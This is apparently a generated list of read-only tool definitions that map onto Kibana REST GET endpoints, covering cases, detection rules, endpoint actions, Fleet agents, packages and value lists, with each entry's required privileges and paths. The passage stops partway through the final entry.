kibana_get_api_cases_by_caseid_fields (read) — Returns the fields you can write to the case's `extended_fields`. The case determines the owner and any applied template. The response includes the owner's global fields (library-wide) and, if the case has a template, that template's fields. Requires the Cases feature to be enabled in the space. Kibana GET /api/cases/{caseId}/fields. GET /api/v1/kibana/api/cases/{caseId}/fields. Scopes: api. kibana_get_api_cases_by_caseid_user_actions_find (read) — Retrieves a paginated list of user activity for a case. You must have `read` privileges for the **Cases** feature in the **Management**, **Observability**, or **Security** section of the Kibana feature privileges, depending on the owner of the case you're seeking. Kibana GET /api/cases/{caseId}/user_actions/_find. GET /api/v1/kibana/api/cases/{caseId}/user_actions/_find. Scopes: api. kibana_get_api_cases_configure (read) — Get setting details such as the closure type, custom fields, templates, and the default connector for cases. You must have `read` privileges for the **Cases** feature in the **Management**, **Observability**, or **Security** section of the Kibana feature privileges, depending on where the cases were created. Kibana GET /api/cases/configure. GET /api/v1/kibana/api/cases/configure. Scopes: api. kibana_get_api_cases_configure_connectors_find (read) — Get information about connectors that are supported for use in cases. You must have `read` privileges for the **Actions and Connectors** feature in the **Management** section of the Kibana feature privileges. Kibana GET /api/cases/configure/connectors/_find. GET /api/v1/kibana/api/cases/configure/connectors/_find. Scopes: api. kibana_get_api_cases_fields (read) — Returns the fields you can write to a case's `extended_fields` when creating a case for the given owner. Includes the owner's global (library-wide) fields and, when `templateId` is supplied, that template's fields. Migrated legacy custom fields appear as `global` fields. Kibana GET /api/cases/fields. GET /api/v1/kibana/api/cases/fields. Scopes: api. kibana_get_api_cases_find (read) — You must have `read` privileges for the **Cases** feature in the **Management**, **Observability**, or **Security** section of the Kibana feature privileges, depending on the owner of the cases you're seeking. Kibana GET /api/cases/_find. GET /api/v1/kibana/api/cases/_find. Scopes: api. kibana_get_api_cases_reporters (read) — Returns information about the users who opened cases. You must have read privileges for the **Cases** feature in the **Management**, **Observability**, or **Security** section of the Kibana feature privileges, depending on the owner of the cases. Kibana GET /api/cases/reporters. GET /api/v1/kibana/api/cases/reporters. Scopes: api. kibana_get_api_cases_tags (read) — Aggregates and returns a list of case tags. You must have read privileges for the **Cases** feature in the **Management**, **Observability**, or **Security** section of the Kibana feature privileges, depending on the owner of the cases you're seeking. Kibana GET /api/cases/tags. GET /api/v1/kibana/api/cases/tags. Scopes: api. kibana_get_api_cases_templates (read) — Returns a paginated list of case templates. Requires the Cases feature to be enabled in the space. Kibana GET /api/cases/templates. GET /api/v1/kibana/api/cases/templates. Scopes: api. kibana_get_api_cases_templates_by_template_id (read) — Returns the details of a case template. Requires the Cases feature to be enabled in the space. Kibana GET /api/cases/templates/{template_id}. GET /api/v1/kibana/api/cases/templates/{template_id}. Scopes: api. kibana_get_api_dashboards (read) — > This documentation is temporarily hosted at a separate location. > > **[View the full Dashboards API reference →](https://elastic.github.io/dashboards-api-spec/dashboards#tag/Dashboards)**. Kibana GET /api/dashboards. GET /api/v1/kibana/api/dashboards. Scopes: api. kibana_get_api_dashboards_by_id (read) — > This documentation is temporarily hosted at a separate location. > > **[View the full Dashboards API reference →](https://elastic.github.io/dashboards-api-spec/dashboards#tag/Dashboards)**. Kibana GET /api/dashboards/{id}. GET /api/v1/kibana/api/dashboards/{id}. Scopes: api. kibana_get_api_data_views (read) — Retrieve a list of all data views. Use this endpoint to identify available data views in the current Kibana space. Kibana GET /api/data_views. GET /api/v1/kibana/api/data_views. Scopes: api. kibana_get_api_data_views_data_view_by_viewid (read) — Retrieve a single data view by its identifier. Data views identify the Elasticsearch data you want to explore and visualize. They can point to one or more data streams, indices, or index aliases, and use optional runtime fields to compute values at query time. Kibana GET /api/data_views/data_view/{viewId}. GET /api/v1/kibana/api/data_views/data_view/{viewId}. Scopes: api. kibana_get_api_data_views_data_view_by_viewid_runtime_field_by_fieldname (read) — Retrieve a single runtime field by name from a data view. Kibana GET /api/data_views/data_view/{viewId}/runtime_field/{fieldName}. GET /api/v1/kibana/api/data_views/data_view/{viewId}/runtime_field/{fieldName}. Scopes: api. kibana_get_api_data_views_default (read) — Retrieve the identifier of the default data view for the current Kibana space. Kibana GET /api/data_views/default. GET /api/v1/kibana/api/data_views/default. Scopes: api. kibana_get_api_detection_engine_index (read) — Returns the backing Elasticsearch index for Elastic Security detection alerts in the current space, and whether its mapping is outdated. Use this to verify that an alert index is provisioned before creating or running rules that write alerts to it. Kibana GET /api/detection_engine/index. GET /api/v1/kibana/api/detection_engine/index. Scopes: api. kibana_get_api_detection_engine_privileges (read) — Retrieves whether or not the user is authenticated, and the user's Kibana space and index privileges, which determine if the user can create an index for the Elastic Security alerts generated by detection engine rules. Kibana GET /api/detection_engine/privileges. GET /api/v1/kibana/api/detection_engine/privileges. Scopes: api. kibana_get_api_detection_engine_rules (read) — Retrieve a detection rule using the `rule_id` or `id` field. Kibana GET /api/detection_engine/rules. GET /api/v1/kibana/api/detection_engine/rules. Scopes: api. kibana_get_api_detection_engine_rules_find (read) — Retrieve a paginated list of detection rules. By default, the first page is returned, with 20 results per page. Kibana GET /api/detection_engine/rules/_find. GET /api/v1/kibana/api/detection_engine/rules/_find. Scopes: api. kibana_get_api_detection_engine_rules_prepackaged_status (read) — Retrieve the status of all Elastic prebuilt detection rules and Timelines. Kibana GET /api/detection_engine/rules/prepackaged/_status. GET /api/v1/kibana/api/detection_engine/rules/prepackaged/_status. Scopes: api. kibana_get_api_detection_engine_signals_migration_status (read) — **DEPRECATED.** This endpoint was used for historical `.siem-signals-*` index migration workflows. Do not use for new automations; there is no supported replacement in this public API. **WARNING:** Prefer upgrading through supported Elastic stack upgrades rather than ad-hoc index migrations. Kibana GET /api/detection_engine/signals/migration_status. GET /api/v1/kibana/api/detection_engine/signals/migration_status. Scopes: api. kibana_get_api_detection_engine_tags (read) — List all unique tags from all detection rules. Kibana GET /api/detection_engine/tags. GET /api/v1/kibana/api/detection_engine/tags. Scopes: api. kibana_get_api_endpoint_action (read) — Get a list of all response actions. Kibana GET /api/endpoint/action. GET /api/v1/kibana/api/endpoint/action. Scopes: api. kibana_get_api_endpoint_action_by_action_id (read) — Get the details of a response action using the action ID. Kibana GET /api/endpoint/action/{action_id}. GET /api/v1/kibana/api/endpoint/action/{action_id}. Scopes: api. kibana_get_api_endpoint_action_by_action_id_file_by_file_id (read) — Get information for the specified response action file download. Kibana GET /api/endpoint/action/{action_id}/file/{file_id}. GET /api/v1/kibana/api/endpoint/action/{action_id}/file/{file_id}. Scopes: api. kibana_get_api_endpoint_action_state (read) — Get a response actions state, which reports whether encryption is enabled. Kibana GET /api/endpoint/action/state. GET /api/v1/kibana/api/endpoint/action/state. Scopes: api. kibana_get_api_endpoint_action_status (read) — Get the status of response actions for the specified agent IDs. Kibana GET /api/endpoint/action_status. GET /api/v1/kibana/api/endpoint/action_status. Scopes: api. kibana_get_api_endpoint_list_items (read) — Get the details of an Elastic Endpoint exception list item, specified by the `id` or `item_id` field. Kibana GET /api/endpoint_list/items. GET /api/v1/kibana/api/endpoint_list/items. Scopes: api. kibana_get_api_endpoint_list_items_find (read) — Get a list of all Elastic Endpoint exception list items. Kibana GET /api/endpoint_list/items/_find. GET /api/v1/kibana/api/endpoint_list/items/_find. Scopes: api. kibana_get_api_endpoint_metadata (read) — Get a list of all endpoint host metadata. Kibana GET /api/endpoint/metadata. GET /api/v1/kibana/api/endpoint/metadata. Scopes: api. kibana_get_api_endpoint_metadata_by_id (read) — Get host metadata for a specific endpoint. Kibana GET /api/endpoint/metadata/{id}. GET /api/v1/kibana/api/endpoint/metadata/{id}. Scopes: api. kibana_get_api_endpoint_policy_response (read) — Get the most recent policy response for an endpoint. Kibana GET /api/endpoint/policy_response. GET /api/v1/kibana/api/endpoint/policy_response. Scopes: api. kibana_get_api_endpoint_protection_updates_note_by_package_policy_id (read) — Get the protection updates note for a package policy. Kibana GET /api/endpoint/protection_updates_note/{package_policy_id}. GET /api/v1/kibana/api/endpoint/protection_updates_note/{package_policy_id}. Scopes: api. kibana_get_api_endpoint_scripts_library (read) — Retrieve a list of scripts. Kibana GET /api/endpoint/scripts_library. GET /api/v1/kibana/api/endpoint/scripts_library. Scopes: api. kibana_get_api_endpoint_scripts_library_by_script_id (read) — Get a script. Kibana GET /api/endpoint/scripts_library/{script_id}. GET /api/v1/kibana/api/endpoint/scripts_library/{script_id}. Scopes: api. kibana_get_api_entity_analytics_monitoring_privileges_health (read) — **Deprecated in 9.4.0.** Returns the current health status of the Privilege Monitoring Engine, including engine status, error details, and user count statistics. Kibana GET /api/entity_analytics/monitoring/privileges/health. GET /api/v1/kibana/api/entity_analytics/monitoring/privileges/health. Scopes: api. kibana_get_api_entity_analytics_monitoring_privileges_privileges (read) — **Deprecated in 9.4.0.** Use the Watchlists APIs instead. Check if the current user has all required permissions for Privilege Monitoring. Kibana GET /api/entity_analytics/monitoring/privileges/privileges. GET /api/v1/kibana/api/entity_analytics/monitoring/privileges/privileges. Scopes: api. kibana_get_api_entity_analytics_monitoring_users_list (read) — **Deprecated in 9.4.0.** Use the Watchlists API instead. Returns a list of all privileged users currently being monitored. Supports optional KQL filtering. Kibana GET /api/entity_analytics/monitoring/users/list. GET /api/v1/kibana/api/entity_analytics/monitoring/users/list. Scopes: api. kibana_get_api_entity_analytics_privileged_user_monitoring_pad_status (read) — Returns the installation and ML module setup status of the privileged access detection package, along with the state of each associated ML job. Kibana GET /api/entity_analytics/privileged_user_monitoring/pad/status. GET /api/v1/kibana/api/entity_analytics/privileged_user_monitoring/pad/status. Scopes: api. kibana_get_api_entity_analytics_watchlists_by_id (read) — Retrieves the details of an entity analytics watchlist by its unique identifier. [Technical Preview] Kibana GET /api/entity_analytics/watchlists/{id}. GET /api/v1/kibana/api/entity_analytics/watchlists/{id}. Scopes: api. kibana_get_api_entity_analytics_watchlists_list (read) — Returns a list of all entity analytics watchlists. [Technical Preview] Kibana GET /api/entity_analytics/watchlists/list. GET /api/v1/kibana/api/entity_analytics/watchlists/list. Scopes: api. kibana_get_api_exception_lists (read) — Get the details of an exception list using the `id` or `list_id` field. Kibana GET /api/exception_lists. GET /api/v1/kibana/api/exception_lists. Scopes: api. kibana_get_api_exception_lists_find (read) — Get a list of all exception list containers. Kibana GET /api/exception_lists/_find. GET /api/v1/kibana/api/exception_lists/_find. Scopes: api. kibana_get_api_exception_lists_items (read) — Get the details of an exception list item using the `id` or `item_id` field. Kibana GET /api/exception_lists/items. GET /api/v1/kibana/api/exception_lists/items. Scopes: api. kibana_get_api_exception_lists_items_find (read) — Get a list of all exception list items in the specified list. Kibana GET /api/exception_lists/items/_find. GET /api/v1/kibana/api/exception_lists/items/_find. Scopes: api. kibana_get_api_exception_lists_summary (read) — Get a summary of the specified exception list. Kibana GET /api/exception_lists/summary. GET /api/v1/kibana/api/exception_lists/summary. Scopes: api. kibana_get_api_features (read) — Get information about all Kibana features. Features are used by spaces and security to refine and secure access to Kibana. [Technical Preview] Kibana GET /api/features. GET /api/v1/kibana/api/features. Scopes: api. kibana_get_api_fleet_agent_download_sources (read) — List all agent binary download sources. [Required authorization] Route required privileges: fleet-agent-policies-read OR fleet-settings-read. Kibana GET /api/fleet/agent_download_sources. GET /api/v1/kibana/api/fleet/agent_download_sources. Scopes: api. kibana_get_api_fleet_agent_download_sources_by_sourceid (read) — Get an agent binary download source by ID. [Required authorization] Route required privileges: fleet-agent-policies-read OR fleet-settings-read. Kibana GET /api/fleet/agent_download_sources/{sourceId}. GET /api/v1/kibana/api/fleet/agent_download_sources/{sourceId}. Scopes: api. kibana_get_api_fleet_agent_policies (read) — List all agent policies. [Required authorization] Route required privileges: fleet-agent-policies-read OR fleet-agents-read OR fleet-setup. Kibana GET /api/fleet/agent_policies. GET /api/v1/kibana/api/fleet/agent_policies. Scopes: api. kibana_get_api_fleet_agent_policies_by_agentpolicyid (read) — Get an agent policy by ID. [Required authorization] Route required privileges: fleet-agent-policies-read OR fleet-agents-read OR fleet-setup. Kibana GET /api/fleet/agent_policies/{agentPolicyId}. GET /api/v1/kibana/api/fleet/agent_policies/{agentPolicyId}. Scopes: api. kibana_get_api_fleet_agent_policies_by_agentpolicyid_auto_upgrade_agents_status (read) — Get the auto-upgrade status for agents assigned to an agent policy. [Required authorization] Route required privileges: fleet-agents-read. Kibana GET /api/fleet/agent_policies/{agentPolicyId}/auto_upgrade_agents_status. GET /api/v1/kibana/api/fleet/agent_policies/{agentPolicyId}/auto_upgrade_agents_status. Scopes: api. kibana_get_api_fleet_agent_policies_by_agentpolicyid_download (read) — Download an agent policy by ID. [Required authorization] Route required privileges: fleet-agent-policies-read OR fleet-setup. Kibana GET /api/fleet/agent_policies/{agentPolicyId}/download. GET /api/v1/kibana/api/fleet/agent_policies/{agentPolicyId}/download. Scopes: api. kibana_get_api_fleet_agent_policies_by_agentpolicyid_full (read) — Get a full agent policy by ID. [Required authorization] Route required privileges: fleet-agent-policies-read. Kibana GET /api/fleet/agent_policies/{agentPolicyId}/full. GET /api/v1/kibana/api/fleet/agent_policies/{agentPolicyId}/full. Scopes: api. kibana_get_api_fleet_agent_policies_by_agentpolicyid_outputs (read) — Get a list of outputs associated with agent policy by policy id. [Required authorization] Route required privileges: fleet-agent-policies-read AND fleet-settings-read. Kibana GET /api/fleet/agent_policies/{agentPolicyId}/outputs. GET /api/v1/kibana/api/fleet/agent_policies/{agentPolicyId}/outputs. Scopes: api. kibana_get_api_fleet_agent_status (read) — Get a summary of agent statuses for a given agent policy. Kibana GET /api/fleet/agent_status. GET /api/v1/kibana/api/fleet/agent_status. Scopes: api. kibana_get_api_fleet_agent_status_data (read) — Get the data streams that an agent is actively sending data to. [Required authorization] Route required privileges: fleet-agents-read. Kibana GET /api/fleet/agent_status/data. GET /api/v1/kibana/api/fleet/agent_status/data. Scopes: api. kibana_get_api_fleet_agentless_policies (read) — Deprecated. Use `GET /api/fleet/managed_integrations` instead. List managed integrations. [Experimental; added in 9.5.0] Kibana GET /api/fleet/agentless_policies. GET /api/v1/kibana/api/fleet/agentless_policies. Scopes: api. kibana_get_api_fleet_agentless_policies_by_policyid (read) — Deprecated. Use `GET /api/fleet/managed_integrations/{policyId}` instead. Get a managed integration by ID. [Experimental; added in 9.5.0] Kibana GET /api/fleet/agentless_policies/{policyId}. GET /api/v1/kibana/api/fleet/agentless_policies/{policyId}. Scopes: api. kibana_get_api_fleet_agents (read) — List agents, with optional filtering and pagination. [Required authorization] Route required privileges: fleet-agents-read. Kibana GET /api/fleet/agents. GET /api/v1/kibana/api/fleet/agents. Scopes: api. kibana_get_api_fleet_agents_action_status (read) — Get the current status of recent agent actions. [Required authorization] Route required privileges: fleet-agents-read. Kibana GET /api/fleet/agents/action_status. GET /api/v1/kibana/api/fleet/agents/action_status. Scopes: api. kibana_get_api_fleet_agents_available_versions (read) — Get a list of Elastic Agent versions available for upgrade. [Required authorization] Route required privileges: fleet-agents-read. Kibana GET /api/fleet/agents/available_versions. GET /api/v1/kibana/api/fleet/agents/available_versions. Scopes: api. kibana_get_api_fleet_agents_by_agentid (read) — Get an agent by ID. [Required authorization] Route required privileges: fleet-agents-read. Kibana GET /api/fleet/agents/{agentId}. GET /api/v1/kibana/api/fleet/agents/{agentId}. Scopes: api. kibana_get_api_fleet_agents_by_agentid_effective_config (read) — Get an agent's effective config by ID. [Required authorization] Route required privileges: fleet-agents-read. Kibana GET /api/fleet/agents/{agentId}/effective_config. GET /api/v1/kibana/api/fleet/agents/{agentId}/effective_config. Scopes: api. kibana_get_api_fleet_agents_by_agentid_uploads (read) — Get a list of files uploaded by a specific agent. [Required authorization] Route required privileges: fleet-agents-read. Kibana GET /api/fleet/agents/{agentId}/uploads. GET /api/v1/kibana/api/fleet/agents/{agentId}/uploads. Scopes: api. kibana_get_api_fleet_agents_files_by_fileid_by_filename (read) — Get a file uploaded by an agent. [Required authorization] Route required privileges: fleet-agents-read. Kibana GET /api/fleet/agents/files/{fileId}/{fileName}. GET /api/v1/kibana/api/fleet/agents/files/{fileId}/{fileName}. Scopes: api. kibana_get_api_fleet_agents_setup (read) — Get the current Fleet setup status, including whether Fleet is ready to enroll agents and which requirements or optional features are missing. [Required authorization] Route required privileges: fleet-agents-read OR fleet-agent-policies-read OR fleet-settings-read OR fleet-setup. Kibana GET /api/fleet/agents/setup. GET /api/v1/kibana/api/fleet/agents/setup. Scopes: api. kibana_get_api_fleet_agents_tags (read) — Get a list of all tags used across enrolled agents. [Required authorization] Route required privileges: fleet-agents-read. Kibana GET /api/fleet/agents/tags. GET /api/v1/kibana/api/fleet/agents/tags. Scopes: api. kibana_get_api_fleet_check_permissions (read) — Check whether the current user has the required permissions to use Fleet. Optionally verifies Fleet Server setup privileges. Kibana GET /api/fleet/check-permissions. GET /api/v1/kibana/api/fleet/check-permissions. Scopes: api. kibana_get_api_fleet_cloud_connectors (read) — List all Fleet cloud connectors. [Required authorization] Route required privileges: fleet-agent-policies-read OR integrations-read. [Experimental; added in 9.2.0] Kibana GET /api/fleet/cloud_connectors. GET /api/v1/kibana/api/fleet/cloud_connectors. Scopes: api. kibana_get_api_fleet_cloud_connectors_by_cloudconnectorid (read) — Get a cloud connector by ID. [Required authorization] Route required privileges: fleet-agent-policies-read OR integrations-read. [Experimental; added in 9.2.0] Kibana GET /api/fleet/cloud_connectors/{cloudConnectorId}. GET /api/v1/kibana/api/fleet/cloud_connectors/{cloudConnectorId}. Scopes: api. kibana_get_api_fleet_cloud_connectors_by_cloudconnectorid_usage (read) — Get a list of package policies that are using a given cloud connector. [Required authorization] Route required privileges: fleet-agent-policies-read OR integrations-read. [Experimental; added in 9.2.0] Kibana GET /api/fleet/cloud_connectors/{cloudConnectorId}/usage. GET /api/v1/kibana/api/fleet/cloud_connectors/{cloudConnectorId}/usage. Scopes: api. kibana_get_api_fleet_data_streams (read) — List all Fleet-managed data streams with metadata including package, namespace, size, and last activity. [Required authorization] Route required privileges: fleet-agents-all AND fleet-agent-policies-all AND fleet-settings-all. Kibana GET /api/fleet/data_streams. GET /api/v1/kibana/api/fleet/data_streams. Scopes: api. kibana_get_api_fleet_enrollment_api_keys (read) — List all enrollment API keys. [Required authorization] Route required privileges: fleet-agents-all OR fleet-setup. Kibana GET /api/fleet/enrollment_api_keys. GET /api/v1/kibana/api/fleet/enrollment_api_keys. Scopes: api. kibana_get_api_fleet_enrollment_api_keys_by_keyid (read) — Get an enrollment API key by ID. [Required authorization] Route required privileges: fleet-agents-all OR fleet-setup. Kibana GET /api/fleet/enrollment_api_keys/{keyId}. GET /api/v1/kibana/api/fleet/enrollment_api_keys/{keyId}. Scopes: api. kibana_get_api_fleet_epm_categories (read) — Get a list of integration categories. [Required authorization] Route required privileges: integrations-read OR fleet-setup OR fleet-all. Kibana GET /api/fleet/epm/categories. GET /api/v1/kibana/api/fleet/epm/categories. Scopes: api. kibana_get_api_fleet_epm_data_streams (read) — Get a list of data streams created by installed integration packages. [Required authorization] Route required privileges: integrations-read OR fleet-setup OR fleet-all. Kibana GET /api/fleet/epm/data_streams. GET /api/v1/kibana/api/fleet/epm/data_streams. Scopes: api. kibana_get_api_fleet_epm_packages (read) — Get a list of integration packages available in the registry. [Required authorization] Route required privileges: integrations-read OR fleet-setup OR fleet-all. Kibana GET /api/fleet/epm/packages. GET /api/v1/kibana/api/fleet/epm/packages. Scopes: api. kibana_get_api_fleet_epm_packages_bulk_rollback_by_taskid (read) — Get the status and results of a bulk package rollback operation. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana GET /api/fleet/epm/packages/_bulk_rollback/{taskId}. GET /api/v1/kibana/api/fleet/epm/packages/_bulk_rollback/{taskId}. Scopes: api. kibana_get_api_fleet_epm_packages_bulk_uninstall_by_taskid (read) — Get the status and results of a bulk package uninstall operation. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana GET /api/fleet/epm/packages/_bulk_uninstall/{taskId}. GET /api/v1/kibana/api/fleet/epm/packages/_bulk_uninstall/{taskId}. Scopes: api. kibana_get_api_fleet_epm_packages_bulk_upgrade_by_taskid (read) — Get the status and results of a bulk package upgrade operation. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana GET /api/fleet/epm/packages/_bulk_upgrade/{taskId}. GET /api/v1/kibana/api/fleet/epm/packages/_bulk_upgrade/{taskId}. Scopes: api. kibana_get_api_fleet_epm_packages_by_pkgname (read) — Get information about a package by name, returning the latest installed or available version. Kibana GET /api/fleet/epm/packages/{pkgName}. GET /api/v1/kibana/api/fleet/epm/packages/{pkgName}. Scopes: api. kibana_get_api_fleet_epm_packages_by_pkgname_by_pkgversion (read) — Get information about a specific version of a package. Kibana GET /api/fleet/epm/packages/{pkgName}/{pkgVersion}. GET /api/v1/kibana/api/fleet/epm/packages/{pkgName}/{pkgVersion}. Scopes: api. kibana_get_api_fleet_epm_packages_by_pkgname_by_pkgversion_by_filepath (read) — Get the contents of a specific file from a package. [Required authorization] Route required privileges: integrations-read OR fleet-setup OR fleet-all. Kibana GET /api/fleet/epm/packages/{pkgName}/{pkgVersion}/{filePath}. GET /api/v1/kibana/api/fleet/epm/packages/{pkgName}/{pkgVersion}/{filePath}. Scopes: api. kibana_get_api_fleet_epm_packages_by_pkgname_by_pkgversion_dependencies (read) — Get the list of packages that a specific package depends on. [Required authorization] Route required privileges: integrations-read OR fleet-setup OR fleet-all. [Generally available; added in 9.4.0] Kibana GET /api/fleet/epm/packages/{pkgName}/{pkgVersion}/dependencies. GET /api/v1/kibana/api/fleet/epm/packages/{pkgName}/{pkgVersion}/dependencies. Scopes: api. kibana_get_api_fleet_epm_packages_by_pkgname_stats (read) — Get usage statistics for a specific package, such as the number of agent policies using it. [Required authorization] Route required privileges: integrations-read OR fleet-setup OR fleet-all. Kibana GET /api/fleet/epm/packages/{pkgName}/stats. GET /api/v1/kibana/api/fleet/epm/packages/{pkgName}/stats. Scopes: api. kibana_get_api_fleet_epm_packages_installed (read) — Get a list of all currently installed integration packages. [Required authorization] Route required privileges: integrations-read OR fleet-setup OR fleet-all. Kibana GET /api/fleet/epm/packages/installed. GET /api/v1/kibana/api/fleet/epm/packages/installed. Scopes: api. kibana_get_api_fleet_epm_packages_limited (read) — Get the list of packages that cannot be uninstalled (e.g. elastic_agent, fleet_server). [Required authorization] Route required privileges: integrations-read OR fleet-setup OR fleet-all. Kibana GET /api/fleet/epm/packages/limited. GET /api/v1/kibana/api/fleet/epm/packages/limited. Scopes: api. kibana_get_api_fleet_epm_templates_by_pkgname_by_pkgversion_inputs (read) — Get an inputs template for a package, used to pre-populate package policy forms. [Required authorization] Route required privileges: integrations-read OR fleet-setup OR fleet-all. Kibana GET /api/fleet/epm/templates/{pkgName}/{pkgVersion}/inputs. GET /api/v1/kibana/api/fleet/epm/templates/{pkgName}/{pkgVersion}/inputs. Scopes: api. kibana_get_api_fleet_epm_verification_key_id (read) — Get the GPG key ID used to verify the signatures of packages from the Elastic Package Registry. [Required authorization] Route required privileges: integrations-read OR fleet-setup OR fleet-all. Kibana GET /api/fleet/epm/verification_key_id. GET /api/v1/kibana/api/fleet/epm/verification_key_id. Scopes: api. kibana_get_api_fleet_fleet_server_hosts (read) — List all Fleet Server hosts. [Required authorization] Route required privileges: fleet-agents-all OR fleet-settings-read. Kibana GET /api/fleet/fleet_server_hosts. GET /api/v1/kibana/api/fleet/fleet_server_hosts. Scopes: api. kibana_get_api_fleet_fleet_server_hosts_by_itemid (read) — Get a Fleet Server host by ID. [Required authorization] Route required privileges: fleet-settings-read. Kibana GET /api/fleet/fleet_server_hosts/{itemId}. GET /api/v1/kibana/api/fleet/fleet_server_hosts/{itemId}. Scopes: api. kibana_get_api_fleet_kubernetes (read) — Get the Kubernetes manifest for deploying Elastic Agent. [Required authorization] Route required privileges: fleet-agent-policies-read OR fleet-setup. Kibana GET /api/fleet/kubernetes. GET /api/v1/kibana/api/fleet/kubernetes. Scopes: api. kibana_get_api_fleet_kubernetes_download (read) — Download the Kubernetes manifest for deploying Elastic Agent. [Required authorization] Route required privileges: fleet-agent-policies-read OR fleet-setup. Kibana GET /api/fleet/kubernetes/download. GET /api/v1/kibana/api/fleet/kubernetes/download. Scopes: api. kibana_get_api_fleet_managed_integrations (read) — List managed integrations. [Experimental; added in 9.5.0] Kibana GET /api/fleet/managed_integrations. GET /api/v1/kibana/api/fleet/managed_integrations. Scopes: api. kibana_get_api_fleet_managed_integrations_by_policyid (read) — Get a managed integration by ID. [Experimental; added in 9.5.0] Kibana GET /api/fleet/managed_integrations/{policyId}. GET /api/v1/kibana/api/fleet/managed_integrations/{policyId}. Scopes: api. kibana_get_api_fleet_outputs (read) — List all Fleet outputs. [Required authorization] Route required privileges: fleet-settings-read OR fleet-agent-policies-read. Kibana GET /api/fleet/outputs. GET /api/v1/kibana/api/fleet/outputs. Scopes: api. kibana_get_api_fleet_outputs_by_outputid (read) — Get output by ID. [Required authorization] Route required privileges: fleet-settings-read OR fleet-agent-policies-read. Kibana GET /api/fleet/outputs/{outputId}. GET /api/v1/kibana/api/fleet/outputs/{outputId}. Scopes: api. kibana_get_api_fleet_outputs_by_outputid_health (read) — Get the latest health status of an output by ID. [Required authorization] Route required privileges: fleet-settings-read. Kibana GET /api/fleet/outputs/{outputId}/health. GET /api/v1/kibana/api/fleet/outputs/{outputId}/health. Scopes: api. kibana_get_api_fleet_package_policies (read) — List all package policies. Kibana GET /api/fleet/package_policies. GET /api/v1/kibana/api/fleet/package_policies. Scopes: api. kibana_get_api_fleet_package_policies_by_packagepolicyid (read) — Get a package policy by ID. Kibana GET /api/fleet/package_policies/{packagePolicyId}. GET /api/v1/kibana/api/fleet/package_policies/{packagePolicyId}. Scopes: api. kibana_get_api_fleet_proxies (read) — List all Fleet proxies. [Required authorization] Route required privileges: fleet-settings-read. Kibana GET /api/fleet/proxies. GET /api/v1/kibana/api/fleet/proxies. Scopes: api. kibana_get_api_fleet_proxies_by_itemid (read) — Get a proxy by ID. [Required authorization] Route required privileges: fleet-settings-read. Kibana GET /api/fleet/proxies/{itemId}. GET /api/v1/kibana/api/fleet/proxies/{itemId}. Scopes: api. kibana_get_api_fleet_remote_synced_integrations_by_outputid_remote_status (read) — Get the synchronization status of remote integrations for a specific output by its ID. [Required authorization] Route required privileges: fleet-settings-read AND integrations-read. [Generally available; added in 9.1.0] Kibana GET /api/fleet/remote_synced_integrations/{outputId}/remote_status. GET /api/v1/kibana/api/fleet/remote_synced_integrations/{outputId}/remote_status. Scopes: api. kibana_get_api_fleet_remote_synced_integrations_status (read) — Get the synchronization status of all remote integrations across connected remote clusters. [Required authorization] Route required privileges: fleet-settings-read AND integrations-read. [Generally available; added in 9.1.0] Kibana GET /api/fleet/remote_synced_integrations/status. GET /api/v1/kibana/api/fleet/remote_synced_integrations/status. Scopes: api. kibana_get_api_fleet_settings (read) — Get the global Fleet settings. [Required authorization] Route required privileges: fleet-settings-read. Kibana GET /api/fleet/settings. GET /api/v1/kibana/api/fleet/settings. Scopes: api. kibana_get_api_fleet_space_settings (read) — Get the Fleet settings for the current Kibana space. [Generally available; added in 9.1.0] Kibana GET /api/fleet/space_settings. GET /api/v1/kibana/api/fleet/space_settings. Scopes: api. kibana_get_api_fleet_uninstall_tokens (read) — List the metadata for the latest uninstall tokens per agent policy. [Required authorization] Route required privileges: fleet-agents-all. Kibana GET /api/fleet/uninstall_tokens. GET /api/v1/kibana/api/fleet/uninstall_tokens. Scopes: api. kibana_get_api_fleet_uninstall_tokens_by_uninstalltokenid (read) — Get one decrypted uninstall token by its ID. [Required authorization] Route required privileges: fleet-agents-all. Kibana GET /api/fleet/uninstall_tokens/{uninstallTokenId}. GET /api/v1/kibana/api/fleet/uninstall_tokens/{uninstallTokenId}. Scopes: api. kibana_get_api_lists (read) — Get the details of a value list using the list ID. Kibana GET /api/lists. GET /api/v1/kibana/api/lists. Scopes: api. kibana_get_api_lists_find (read) — Get a paginated subset of value lists. By default, the first page is returned, with 20 results per page. Kibana GET /api/lists/_find. GET /api/v1/kibana/api/lists/_find. Scopes: api. kibana_get_api_lists_index (read) — Verify that `.lists` and `.items` data streams exist. Kibana GET /api/lists/index. GET /api/v1/kibana/api/lists/index. Scopes: api. kibana_get_api_lists_items (read) — Get the details of a value list item. Kibana GET /api/lists/items. GET /api/v1/kibana/api/lists/items. Scopes: api. kibana_get_api_lists_items_find (read) — Get all value list items in the specified list. Kibana GET /api/lists/items/_find. GET /api/v1/kibana/api/lists/items/_find. Scopes: api. kibana_get_api_lists_privileges (read) — Returns the caller's authentication state and the Elasticsearch `cluster`, `index`, and `application` privileges for `.lists` and `.items` data streams in the current Kibana space. Use this to decide which list APIs (`read` vs `all` operations) are available before you create or import lists. Kibana GET /api/lists/privileges. GET /api/v1/kibana/api/lists/privileges. Scopes: api. kibana_get_api_logstash_pipeline_by_id (read) — Get information for a centrally-managed Logstash pipeline. To use this API, you must have either the `logstash_admin` built-in role or a customized Logstash reader role. [Technical Preview] Kibana GET /api/logstash/pipeline/{id}. GET /api/v1/kibana/api/logstash/pipeline/{id}. Scopes: api. kibana_get_api_logstash_pipelines (read) — Get a list of all centrally-managed Logstash pipelines. To use this API, you must have either the `logstash_admin` built-in role or a customized Logstash reader role. > info > Limit the number of pipelines to 10,000 or fewer. [Technical Preview] Kibana GET /api/logstash/pipelines. GET /api/v1/kibana/api/logstash/pipelines. Scopes: api. kibana_get_api_maintenance_window_by_id (read) — [Required authorization] Route required privileges: read-maintenance-window. [Generally available; added in 9.1.0] Kibana GET /api/maintenance_window/{id}. GET /api/v1/kibana/api/maintenance_window/{id}. Scopes: api. kibana_get_api_maintenance_window_find (read) — [Required authorization] Route required privileges: read-maintenance-window. [Generally available; added in 9.2.0] Kibana GET /api/maintenance_window/_find. GET /api/v1/kibana/api/maintenance_window/_find. Scopes: api. kibana_get_api_ml_saved_objects_sync (read) — Synchronizes Kibana saved 